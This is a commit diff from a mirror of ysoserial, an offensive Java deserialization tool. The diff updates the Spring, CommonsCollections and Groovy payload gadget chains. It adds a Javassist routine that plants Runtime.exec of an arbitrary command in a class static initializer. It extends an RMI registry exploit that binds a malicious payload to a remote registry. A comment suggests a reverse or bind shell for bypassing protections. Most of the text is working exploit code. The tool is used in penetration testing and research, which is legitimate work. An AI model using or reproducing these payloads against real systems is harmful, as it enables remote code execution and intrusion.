mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-22 15:10:43 +08:00
fixed spring, commons-collections4 payloads, made test cases more robust
This commit is contained in:
@@ -0,0 +1,44 @@
|
||||
package ysoserial;
|
||||
|
||||
import java.security.Permission;
|
||||
import java.util.concurrent.Callable;
|
||||
|
||||
public class ExecBlockingSecurityManager extends SecurityManager {
|
||||
@Override
|
||||
public void checkPermission(final Permission perm) { }
|
||||
|
||||
@Override
|
||||
public void checkPermission(final Permission perm, final Object context) { }
|
||||
|
||||
public void checkExec(final String cmd) {
|
||||
super.checkExec(cmd);
|
||||
// throw a special exception to ensure we can detect exec() in the test
|
||||
throw new ExecException(cmd);
|
||||
};
|
||||
|
||||
@SuppressWarnings("serial")
|
||||
public static class ExecException extends RuntimeException {
|
||||
private final String cmd;
|
||||
public ExecException(String cmd) { this.cmd = cmd; }
|
||||
public String getCmd() { return cmd; }
|
||||
}
|
||||
|
||||
public static void wrap(final Runnable runnable) throws Exception {
|
||||
wrap(new Callable<Void>(){
|
||||
public Void call() throws Exception {
|
||||
runnable.run();
|
||||
return null;
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
public static <T> T wrap(final Callable<T> callable) throws Exception {
|
||||
SecurityManager sm = System.getSecurityManager();
|
||||
System.setSecurityManager(new ExecBlockingSecurityManager());
|
||||
try {
|
||||
return callable.call();
|
||||
} finally {
|
||||
System.setSecurityManager(sm);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -38,7 +38,7 @@ public class GeneratePayload {
|
||||
final Object object = payload.getObject(command);
|
||||
final ObjectOutputStream objOut = new ObjectOutputStream(System.out);
|
||||
objOut.writeObject(object);
|
||||
} catch (Exception e) {
|
||||
} catch (Throwable e) {
|
||||
System.err.println("Error while generating or serializing payload");
|
||||
e.printStackTrace();
|
||||
System.exit(INTERNAL_ERROR_CODE);
|
||||
|
||||
@@ -3,21 +3,51 @@ package ysoserial;
|
||||
import java.rmi.Remote;
|
||||
import java.rmi.registry.LocateRegistry;
|
||||
import java.rmi.registry.Registry;
|
||||
import java.util.Arrays;
|
||||
import java.util.concurrent.Callable;
|
||||
|
||||
import ysoserial.payloads.CommonsCollections1;
|
||||
import ysoserial.payloads.ObjectPayload;
|
||||
import ysoserial.payloads.util.Gadgets;
|
||||
|
||||
/*
|
||||
* Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader
|
||||
* Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader.
|
||||
* Attempts to exploit the registry itself, then enumerates registered endpoints and their interfaces.
|
||||
*
|
||||
* TODO: automatic exploitation of endpoints, potentially with automated download and use of jars containing remote
|
||||
* interfaces. See http://www.findmaven.net/api/find/class/org.springframework.remoting.rmi.RmiInvocationHandler .
|
||||
*/
|
||||
public class RMIRegistryExploit {
|
||||
public static void main(String[] args) throws Exception {
|
||||
Registry registry = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));
|
||||
String className = CommonsCollections1.class.getPackage().getName() + "." + args[2];
|
||||
Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);
|
||||
Object payload = payloadClass.newInstance().getObject(args[3]);
|
||||
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", payload), Remote.class);
|
||||
registry.bind("pwned", remote);
|
||||
public static void main(final String[] args) throws Exception {
|
||||
// ensure payload doesn't detonate during construction or deserialization
|
||||
ExecBlockingSecurityManager.wrap(new Callable<Void>(){public Void call() throws Exception {
|
||||
Registry registry = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));
|
||||
String className = CommonsCollections1.class.getPackage().getName() + "." + args[2];
|
||||
Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);
|
||||
Object payload = payloadClass.newInstance().getObject(args[3]);
|
||||
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", payload), Remote.class);
|
||||
try {
|
||||
registry.bind("pwned", remote);
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
try {
|
||||
String[] names = registry.list();
|
||||
for (String name : names) {
|
||||
System.out.println("looking up '" + name + "'");
|
||||
try {
|
||||
Remote rem = registry.lookup(name);
|
||||
System.out.println(Arrays.asList(rem.getClass().getInterfaces()));
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
return null;
|
||||
}});
|
||||
}
|
||||
}
|
||||
|
||||
@@ -10,6 +10,7 @@ import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections.functors.InvokerTransformer;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.util.Gadgets;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
@@ -37,6 +38,7 @@ import ysoserial.payloads.util.Reflections;
|
||||
commons-collections
|
||||
*/
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@Dependencies({"commons-collections:commons-collections:3.1"})
|
||||
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
|
||||
|
||||
public InvocationHandler getObject(final String command) throws Exception {
|
||||
@@ -70,7 +72,7 @@ public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<
|
||||
return handler;
|
||||
}
|
||||
|
||||
public static void main(final String[] args) {
|
||||
public static void main(final String[] args) throws Exception {
|
||||
PayloadRunner.run(CommonsCollections1.class, args);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -6,7 +6,7 @@ import java.util.Queue;
|
||||
import org.apache.commons.collections4.comparators.TransformingComparator;
|
||||
import org.apache.commons.collections4.functors.InvokerTransformer;
|
||||
|
||||
import ysoserial.payloads.util.ClassFiles;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.util.Gadgets;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
@@ -22,23 +22,14 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||
InvokerTransformer.transform()
|
||||
Method.invoke()
|
||||
Runtime.exec()
|
||||
|
||||
Requires:
|
||||
commons-collections4
|
||||
*/
|
||||
|
||||
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
|
||||
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
|
||||
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {
|
||||
|
||||
public Queue<Object> getObject(final String command) throws Exception {
|
||||
final TemplatesImpl templates = new TemplatesImpl();
|
||||
|
||||
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
|
||||
ClassFiles.classAsBytes(Gadgets.TransletPayload.class),
|
||||
ClassFiles.classAsBytes(Gadgets.Foo.class)}); // required to make TemplatesImpl happy
|
||||
|
||||
Reflections.setFieldValue(templates, "_name", "Pwnr"); // required to make TemplatesImpl happy
|
||||
|
||||
final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
|
||||
// mock method name until armed
|
||||
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
|
||||
|
||||
@@ -54,12 +45,12 @@ public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {
|
||||
// switch contents of queue
|
||||
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
|
||||
queueArray[0] = templates;
|
||||
queueArray[1] = new Gadgets.TransletPayload().withCommand(command);
|
||||
queueArray[1] = 1;
|
||||
|
||||
return queue;
|
||||
}
|
||||
|
||||
public static void main(final String[] args) {
|
||||
public static void main(final String[] args) throws Exception {
|
||||
PayloadRunner.run(CommonsCollections2.class, args);
|
||||
}
|
||||
|
||||
|
||||
@@ -6,6 +6,7 @@ import java.util.Map;
|
||||
import org.codehaus.groovy.runtime.ConvertedClosure;
|
||||
import org.codehaus.groovy.runtime.MethodClosure;
|
||||
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.util.Gadgets;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
|
||||
@@ -25,6 +26,7 @@ import ysoserial.payloads.util.PayloadRunner;
|
||||
*/
|
||||
|
||||
@SuppressWarnings({ "rawtypes", "unchecked" })
|
||||
@Dependencies({"org.codehaus.groovy:groovy:2.3.9"})
|
||||
public class Groovy1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
|
||||
|
||||
public InvocationHandler getObject(final String command) throws Exception {
|
||||
@@ -37,7 +39,7 @@ public class Groovy1 extends PayloadRunner implements ObjectPayload<InvocationHa
|
||||
return handler;
|
||||
}
|
||||
|
||||
public static void main(final String[] args) {
|
||||
public static void main(final String[] args) throws Exception {
|
||||
PayloadRunner.run(Groovy1.class, args);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -5,23 +5,20 @@ import static java.lang.Class.forName;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.lang.reflect.Type;
|
||||
import java.util.Arrays;
|
||||
import java.util.List;
|
||||
|
||||
import javax.xml.transform.Templates;
|
||||
|
||||
import org.springframework.beans.factory.ObjectFactory;
|
||||
|
||||
import ysoserial.payloads.util.ClassFiles;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.util.Gadgets;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
|
||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
|
||||
|
||||
/*
|
||||
Gadget chains:
|
||||
Gadget chain:
|
||||
|
||||
ObjectInputStream.readObject()
|
||||
SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()
|
||||
@@ -43,28 +40,18 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
|
||||
TemplatesImpl.newTransformer()
|
||||
TemplatesImpl.getTransletInstance()
|
||||
TemplatesImpl.defineTransletClasses()
|
||||
TemplatesImpl.TransletClassLoader.defineClass()
|
||||
Gadgets.TransletPayload.readObject()
|
||||
Runtime.exec()
|
||||
|
||||
Requires:
|
||||
spring-framework-core
|
||||
TemplatesImpl.TransletClassLoader.defineClass()
|
||||
Pwner*(Javassist-generated).<static init>
|
||||
Runtime.exec()
|
||||
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"restriction", "rawtypes"})
|
||||
public class Spring1 extends PayloadRunner implements ObjectPayload<List<Object>> {
|
||||
@Dependencies({"org.springframework:spring-core:4.1.4.RELEASE","org.springframework:spring-beans:4.1.4.RELEASE"})
|
||||
public class Spring1 extends PayloadRunner implements ObjectPayload<Object> {
|
||||
|
||||
public List<Object> getObject(final String command) throws Exception {
|
||||
final TemplatesImpl templates = new TemplatesImpl();
|
||||
|
||||
// inject class bytes into instance
|
||||
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
|
||||
ClassFiles.classAsBytes(Gadgets.TransletPayload.class),
|
||||
ClassFiles.classAsBytes(Gadgets.Foo.class)});
|
||||
|
||||
// required to make TemplatesImpl happy
|
||||
Reflections.setFieldValue(templates, "_name", "Pwnr");
|
||||
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
|
||||
public Object getObject(final String command) throws Exception {
|
||||
final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
|
||||
|
||||
final ObjectFactory objectFactoryProxy =
|
||||
Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);
|
||||
@@ -78,14 +65,13 @@ public class Spring1 extends PayloadRunner implements ObjectPayload<List<Object>
|
||||
forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
|
||||
|
||||
final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
|
||||
final Object mitp = mitpCtor.newInstance(typeProviderProxy, Templates.class.getMethod("newTransformer", new Class[] {}), 0);
|
||||
final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);
|
||||
Reflections.setFieldValue(mitp, "methodName", "newTransformer");
|
||||
|
||||
Reflections.setFieldValue(templates, "_auxClasses", null); // required to make TemplatesImpl serialization happy
|
||||
|
||||
return Arrays.asList(mitp, new Gadgets.TransletPayload().withCommand(command));
|
||||
return mitp;
|
||||
}
|
||||
|
||||
public static void main(final String[] args) {
|
||||
|
||||
public static void main(final String[] args) throws Exception {
|
||||
PayloadRunner.run(Spring1.class, args);
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,12 @@
|
||||
package ysoserial.payloads.annotation;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
import java.lang.annotation.Target;
|
||||
|
||||
@Target(ElementType.TYPE)
|
||||
@Retention(RetentionPolicy.RUNTIME)
|
||||
public @interface Dependencies {
|
||||
String[] value() default {};
|
||||
}
|
||||
@@ -22,19 +22,23 @@ public class ClassFiles {
|
||||
return str;
|
||||
}
|
||||
|
||||
public static byte[] classAsBytes(final Class<?> clazz) throws IOException {
|
||||
final byte[] buffer = new byte[1024];
|
||||
final String file = classAsFile(clazz);
|
||||
final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);
|
||||
if (in == null) {
|
||||
throw new IOException("couldn't find '" + file + "'");
|
||||
public static byte[] classAsBytes(final Class<?> clazz) {
|
||||
try {
|
||||
final byte[] buffer = new byte[1024];
|
||||
final String file = classAsFile(clazz);
|
||||
final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);
|
||||
if (in == null) {
|
||||
throw new IOException("couldn't find '" + file + "'");
|
||||
}
|
||||
final ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
int len;
|
||||
while ((len = in.read(buffer)) != -1) {
|
||||
out.write(buffer, 0, len);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} catch (IOException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
final ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
int len;
|
||||
while ((len = in.read(buffer)) != -1) {
|
||||
out.write(buffer, 0, len);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -1,7 +1,5 @@
|
||||
package ysoserial.payloads.util;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.io.ObjectInputStream;
|
||||
import java.io.Serializable;
|
||||
import java.lang.reflect.Array;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
@@ -9,9 +7,15 @@ import java.lang.reflect.Proxy;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import javassist.ClassClassPath;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
|
||||
import com.sun.org.apache.xalan.internal.xsltc.DOM;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
|
||||
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
|
||||
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
|
||||
|
||||
@@ -20,37 +24,15 @@ import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
|
||||
*/
|
||||
@SuppressWarnings("restriction")
|
||||
public class Gadgets {
|
||||
private static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
|
||||
private static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
|
||||
|
||||
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
|
||||
private static final long serialVersionUID = -5971610431559700674L;
|
||||
|
||||
// serializable translet subclass that will command stored in field when deserialized
|
||||
public static class TransletPayload extends AbstractTranslet implements Serializable {
|
||||
private static final long serialVersionUID = 5571793986024357801L;
|
||||
|
||||
{
|
||||
namesArray = new String[0]; // needed to make TemplatesImpl happy
|
||||
}
|
||||
|
||||
private String command;
|
||||
|
||||
// execute stored command on deserialization
|
||||
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
|
||||
in.defaultReadObject(); // read command string
|
||||
try {
|
||||
Runtime.getRuntime().exec(command); // execute command
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace(); // not trying to be stealthy
|
||||
}
|
||||
}
|
||||
|
||||
public TransletPayload withCommand(String command) {
|
||||
this.command = command;
|
||||
return this;
|
||||
}
|
||||
|
||||
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
|
||||
|
||||
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
|
||||
throws TransletException {}
|
||||
|
||||
@Override
|
||||
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
|
||||
}
|
||||
|
||||
// required to make TemplatesImpl happy
|
||||
@@ -81,4 +63,30 @@ public class Gadgets {
|
||||
map.put(key,val);
|
||||
return map;
|
||||
}
|
||||
|
||||
public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {
|
||||
final TemplatesImpl templates = new TemplatesImpl();
|
||||
|
||||
// use template gadget class
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
|
||||
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
|
||||
// run command in static initializer
|
||||
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
|
||||
clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");");
|
||||
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
|
||||
clazz.setName("ysoserial.Pwner" + System.nanoTime());
|
||||
|
||||
final byte[] classBytes = clazz.toBytecode();
|
||||
|
||||
// inject class bytes into instance
|
||||
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
|
||||
classBytes,
|
||||
ClassFiles.classAsBytes(Foo.class)});
|
||||
|
||||
// required to make TemplatesImpl happy
|
||||
Reflections.setFieldValue(templates, "_name", "Pwnr");
|
||||
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
|
||||
return templates;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2,6 +2,10 @@ package ysoserial.payloads.util;
|
||||
|
||||
import static ysoserial.payloads.util.Serializables.deserialize;
|
||||
import static ysoserial.payloads.util.Serializables.serialize;
|
||||
|
||||
import java.util.concurrent.Callable;
|
||||
|
||||
import ysoserial.ExecBlockingSecurityManager;
|
||||
import ysoserial.payloads.ObjectPayload;
|
||||
|
||||
/*
|
||||
@@ -9,22 +13,24 @@ import ysoserial.payloads.ObjectPayload;
|
||||
*/
|
||||
@SuppressWarnings("unused")
|
||||
public class PayloadRunner {
|
||||
public static void run(final Class<? extends ObjectPayload> clazz, final String[] args) {
|
||||
try {
|
||||
final String command = args.length > 0 && args[0] != null ? args[0] : "calc.exe";
|
||||
|
||||
System.out.println("generating payload object(s) for command: '" + command + "'");
|
||||
|
||||
final Object objBefore = clazz.newInstance().getObject(command);
|
||||
|
||||
System.out.println("serializing payload");
|
||||
|
||||
final byte[] serialized = serialize(objBefore);
|
||||
|
||||
System.out.println("deserializing payload");
|
||||
|
||||
final Object objAfter = deserialize(serialized);
|
||||
public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
|
||||
// ensure payload generation doesn't throw an exception
|
||||
byte[] serialized = ExecBlockingSecurityManager.wrap(new Callable<byte[]>(){
|
||||
public byte[] call() throws Exception {
|
||||
final String command = args.length > 0 && args[0] != null ? args[0] : "calc.exe";
|
||||
|
||||
System.out.println("generating payload object(s) for command: '" + command + "'");
|
||||
|
||||
final Object objBefore = clazz.newInstance().getObject(command);
|
||||
|
||||
System.out.println("serializing payload");
|
||||
|
||||
return serialize(objBefore);
|
||||
}});
|
||||
|
||||
try {
|
||||
System.out.println("deserializing payload");
|
||||
final Object objAfter = deserialize(serialized);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user